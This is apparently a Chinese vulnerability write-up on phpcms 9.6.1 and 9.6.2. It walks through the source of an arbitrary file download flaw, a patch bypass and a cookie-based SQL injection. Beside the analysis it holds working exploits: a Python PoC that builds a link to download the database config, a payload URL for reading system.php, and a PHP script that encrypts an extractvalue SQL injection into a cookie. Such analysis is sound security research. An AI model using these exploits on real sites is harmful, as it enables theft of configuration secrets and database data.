前言

前面只分析了phpcms9.6.0,现在把后面的补上。

phpcms9.6.1

这个版本公布的只有一个漏洞,任意文件读取。

9.6.1 任意文件下载

我们先看看绿盟给的payload

http://10.65.20.198/phpcms_v9.6.1_UTF8/index.php?m=content&c=down&a=download&a_k=050a8GfSF2bwK4H-oJhtDI2f9ixgu_iRvkGN1VX3I3X0wD-s-LPJnRGnM_xikA_rYLQInxgtkGtwL-JRW1HGHFO87kxWoVihALeRKJZEfTCcEYYrAOl_uqqzs7imN1QtTktE8jpF3zxIKeUOc0dFw7xr2JHyrWy8-lrUAQ

调用了down 模块 、 download方法,后面a_k是加密函数之前分析过。

先分析/phpcms/modules/content/down.php download方法(87-130)。

public function download() {
    $a_k = trim($_GET['a_k']);//传入a_k
    $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
    $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);//解密
    if(empty($a_k)) showmessage(L('illegal_parameters'));
    unset($i,$m,$f,$t,$ip);
    $a_k = safe_replace($a_k);//对a_k进行函数过滤
    parse_str($a_k); //解析变量        
    if(isset($i)) $downid = intval($i);
    if(!isset($m)) showmessage(L('illegal_parameters'));
    if(!isset($modelid)) showmessage(L('illegal_parameters'));
    if(empty($f)) showmessage(L('url_invalid'));
    if(!$i || $m<0) showmessage(L('illegal_parameters'));
    if(!isset($t)) showmessage(L('illegal_parameters'));
    if(!isset($ip)) showmessage(L('illegal_parameters'));
    $starttime = intval($t);
    if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));//对$f参数进行正则用其中之一就返回错误
    $fileurl = trim($f);//赋值
    if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));//进行过滤有其中之一就返回参数错误    
    $endtime = SYS_TIME - $starttime;
    if($endtime > 3600) showmessage(L('url_invalid'));
    if($m) $fileurl = trim($s).trim($fileurl);//赋值
    if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));//再次进行后缀名过滤
    //远程文件
    if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { 
        header("Location: $fileurl");
    } else {
        if($d == 0) {
            header("Location: ".$fileurl);
        } else {
            $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
            $filename = basename($fileurl);
            //处理中文文件
            if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
                $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
                $filename = urldecode(basename($filename));
            }
            $ext = fileext($filename);
            $filename = date('Ymd_his').random(3).'.'.$ext;
            $fileurl = str_replace(array('<','>'), '',$fileurl);
            file_down($fileurl, $filename);
        }
    }
}

从上往下分析,首先获取$a_k并进行解密,然后对内容进行safe_replace()过滤。

function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','"',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('<','<',$string);
    $string = str_replace('>','>',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\\','',$string);
    return $string;
}

然后用parse_str()解析变量然后去判断一些参数不为空,并且对$f再次进行过滤

if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error')); 

很清楚了有其中一只都会返回错误。然后$f赋值给了$fileurl。

if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));    
···
if($m) $fileurl = trim($s).trim($fileurl);

进行简单判断之后再次进行了赋值操作,而这两个参数都是$a_k解析而来,$s可控$f进行了一些过滤操作。下面又对$fileurl过滤

if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));

后面又进行了if循环,而我们的目标就是进入最后一次循环中调用file_down()去下载任意文件。

function file_down($filepath, $filename = '') {
    if(!$filename) $filename = basename($filepath);
    if(is_ie()) $filename = rawurlencode($filename);
    $filetype = fileext($filename);
    $filesize = sprintf("%u", filesize($filepath));
    if(ob_get_length() !== false) @ob_end_clean();
    header('Pragma: public');
    header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
    header('Cache-Control: no-store, no-cache, must-revalidate');
    header('Cache-Control: pre-check=0, post-check=0, max-age=0');
    header('Content-Transfer-Encoding: binary');
    header('Content-Encoding: none');
    header('Content-type: '.$filetype);
    header('Content-Disposition: attachment; filename="'.$filename.'"');
    header('Content-length: '.$filesize);
    readfile($filepath);
    exit;
}

其实就是个普通的下载函数,不普通在调用他的时候参数我们是可控的。

        if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
            $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
            $filename = urldecode(basename($filename));
        }
        $ext = fileext($filename);
        $filename = date('Ymd_his').random(3).'.'.$ext;
        $fileurl = str_replace(array('<','>'), '',$fileurl);
        file_down($fileurl, $filename);

关键点就在这,进过上面的层层过滤无论是单独的$s $f还是合在一起的$fileurl都不可能有什么危险后缀,但是这里对$fileurl进行了正则替换把<>换成空 ……也就是说我们可以这样进行拼接

$s=test.ph + $f=>p = $fileurl=test.ph>p = test.php

接下来的问题就是怎么把自己带有payload的加密并且回显出来。老生常谈了用wap这里就不说了。

漏洞利用

以数据库文件为例,生成下载链接访问下载就行。

import requests

def poc(host):
    step = '{}index.php?m=wap&a=index&siteid=1'.format(host)
    req = requests.get(url=step)
    for i in req.cookies:
        if i.name[-7:] == '_siteid':
            userid_flash = i.value
        else:
            print('Step1 is error')
    step1 = '{}index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3Dcaches/configs/database%26f%3D.p%25253chp'.format(host)

    data = {'userid_flash':userid_flash}
    req1 = requests.post(url=step1,data=data)

    for i in req1.cookies:
        if i.name[-9:] == '_att_json':
            a_k = i.value
    if a_k == '':
        print('sys_paylaod Bad')

    url = '{}index.php?m=content&c=down&a_k={}'.format(host,a_k)
    print(url)

if __name__ == '__main__':
    poc('http://127.0.0.1/phpcmsv9.6.1/')

phpcms9.6.2

任意文件读取

这个属于补丁绕过,可以看到补丁又加了一次正则但是有被绕过的可能。

trim函数也不是安全的,%81-%99间的字符是不会被trim去掉的且在windows中还能正常访问到相应的文件。给出payload

http://127.0.0.1/code/phpcms_v9.6.2_UTF8/index.php?m=attachment&c=attachments&a=swfupload_json&src=a%26i=1%26m=1%26catid=1%26f=./caches/configs/system.ph%*25*3ep%2581%26modelid=1%26d=1&aid=1

sqli

在member模块,会员前台管理中心接口的继承父类foreground:

class index extends foreground {

private $times_db;

function __construct() {
    parent::__construct();
    $this->http_user_agent = $_SERVER['HTTP_USER_AGENT'];
}

跟进foreground /phpcms/modules/member/classes/foreground.class.php 19-33

public $db, $memberinfo;
private $_member_modelinfo;

public function __construct() {
    self::check_ip();
    $this->db = pc_base::load_model('member_model');
    //ajax验证信息不需要登录
    if(substr(ROUTE_A, 0, 7) != 'public_') {
        self::check_member();
    }
}

/**
 * 判断用户是否已经登陆
 */
final public function check_member() {
    $phpcms_auth = param::get_cookie('auth');
    if(ROUTE_M =='member' && ROUTE_C =='index' && in_array(ROUTE_A, array('login', 'register', 'mini','send_newmail'))) {
        if ($phpcms_auth && ROUTE_A != 'mini') {
            showmessage(L('login_success', '', 'member'), 'index.php?m=member&c=index');
        } else {
            return true;
        }
    } else {
        //判断是否存在auth cookie
        if ($phpcms_auth) {
            $auth_key = $auth_key = get_auth_key('login');
            list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));
            //验证用户,获取用户信息
            $this->memberinfo = $this->db->get_one(array('userid'=>$userid));

可以看到只要不是ajax就需要进入check_member()函数,而函数第一个if的else循环里可以看到进行解密操作并且把userid用get_one()拼接代入数据库,这就造成了注入。

userid的值是cookie解密而来,那我们看下cookie操作,

public static function get_cookie($var, $default = '')     {
    $var = pc_base::load_config('system','cookie_pre').$var;
    $value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;
    if(in_array($var,array('_userid','userid','siteid','_groupid','_roleid'))) {
    $value = intval($value);
    } elseif(in_array($var,array('_username','username','_nickname','admin_username','sys_lang'))) { //  site_model auth
    $value = safe_replace($value);
    }
    return $value;
}

先读取了cookie_pre,然后对cookie_pre_auth进行解密,没传入key说明是默认的用配置文件中的auth_key作为解密密钥。然后走到这里进行第二次解密

if ($phpcms_auth) { $auth_key = $auth_key = get_auth_key('login'); list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));

秘钥为auth_key= get_auth_key(‘login’) 跟进

function get_auth_key($prefix,$suffix="") {
    if($prefix=='login'){
        $pc_auth_key = md5(pc_base::load_config('system','auth_key').ip());
    }else if($prefix=='email'){
        $pc_auth_key = md5(pc_base::load_config('system','auth_key'));
    }else{
        $pc_auth_key = md5(pc_base::load_config('system','auth_key').$suffix);
    }
    $authkey = md5($prefix.$pc_auth_key);
    return $authkey;
}

传入login进入

$pc_auth_key = md5(pc_base::load_config('system','auth_key').ip());

auth_key是默认秘钥与IP拼接成的。而ip()可以伪造

function ip() {
    if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
        $ip = getenv('HTTP_CLIENT_IP');
    } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
        $ip = getenv('REMOTE_ADDR');
    } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return preg_match ( '/[\d\.]{7,15}/', $ip, $matches ) ? $matches [0] : '';
}

所以说参数全可控。而默认秘钥我们可以配合任意下载来获取。

思路很清晰了要倒着来:

$userid = paylaod -> sys_auth($phpcms_auth, ‘DECODE’, $auth_key) -> sys_auth($_COOKIE[$var], ‘DECODE’) -> 加密后的sql payload

漏洞利用

附上某位大佬的poc:

<?php
/**
* 字符串加密、解密函数
*
*
* @param    string    $txt        字符串
* @param    string    $operation    ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE,
* @param    string    $key        密钥:数字、字母、下划线
* @param    string    $expiry        过期时间
* @return    string
*/
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
    $ckey_length = 4;
       $key = md5($key != '' ? $key : "4sUeVkLdmNZYGu2bPshg");
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

       for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
           $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
        return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
    }
}

$auth_key = "wR67aGYF4kOghES5NKG1";
$ip = "123.59.214.3";
function get_auth_key($prefix,$suffix="") {
    global $auth_key;
       global $ip;
    if($prefix=='login'){
        $pc_auth_key = md5($auth_key.$ip);
    }else if($prefix=='email'){
        $pc_auth_key = md5($auth_key);
    }else{
        $pc_auth_key = md5($auth_key.$suffix);
    }
    $authkey = md5($prefix.$pc_auth_key);
    return $authkey;
}

$auth_key2 = get_auth_key('login');
$auth_key2 = get_auth_key('login');
$sql = "1' and (extractvalue(1,concat(0x7e,(select user()))));#\txx";
#$sql = "1' and (extractvalue(1,concat(0x7e,(select sessionid from v9_session))));#\tokee";
$sql = sys_auth($sql,'ENCODE',$auth_key2);
echo sys_auth($sql,'ENCODE',$auth_key);

echo "\n";
echo sys_auth('1','ENCODE',$auth_key);

echo sys_auth('3d1bj3Vdx7JEQ6XakmlhBiUiEYBo7Ff3XMV2qrSu','DECODE',$auth_key);

参考链接:

http://blog.nsfocus.net/phpcms-v9-6-1-arbitrary-file-download-vulnerability-analysis-exp/

https://www.jianshu.com/p/47bf5b7c3b2e

https://www.anquanke.com/post/id/86134

https://www.jianshu.com/p/67c81e3b3258